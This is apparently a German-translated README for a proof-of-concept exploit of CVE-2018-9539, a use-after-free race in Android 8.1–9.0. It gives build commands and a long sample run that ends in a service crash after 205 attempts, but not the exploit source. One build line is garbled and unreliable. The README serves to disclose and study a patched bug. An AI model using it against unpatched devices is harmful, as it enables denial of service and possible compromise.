
PoC-Code für CVE-2018-9539
Proof-of-concept-Code für CVE-2018-9539
Bei Fragen können Sie mich gerne per Direktnachricht auf Twitter kontaktieren (@tamir_zb).
Um dies zu erstellen:
AOSP/external ab.cd AOSP
source build/envsetup.sh
make cas_race_uaf
Die Ausführung dieses PoC auf einer ungepatchten Version von Android (8.1-9.0 vor November 2018) sollte zu einem use-after-free führen. Beachten Sie, dass dieser PoC nicht wirklich für die Ausführung auf Android 8.1 vorgesehen ist, da er erwartet, dass der UaF den Dienst zum Absturz bringt, was nur unter Android 9.0 passiert. Die Ausführung dieses PoC auf Android 8.1 führt daher zu einer Endlosschleife.
Hier ist eine Beispielausgabe der Ausführung dieses PoC unter Android 9.0:
Objects prepared
Attempt #1:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #1 failed, retrying...
Attempt #2:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #2 failed, retrying...
...
...
...
Attempt #204:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #204 failed, retrying...
Attempt #205:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session1
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: CRASHED :)
Succeeded in 205 attempts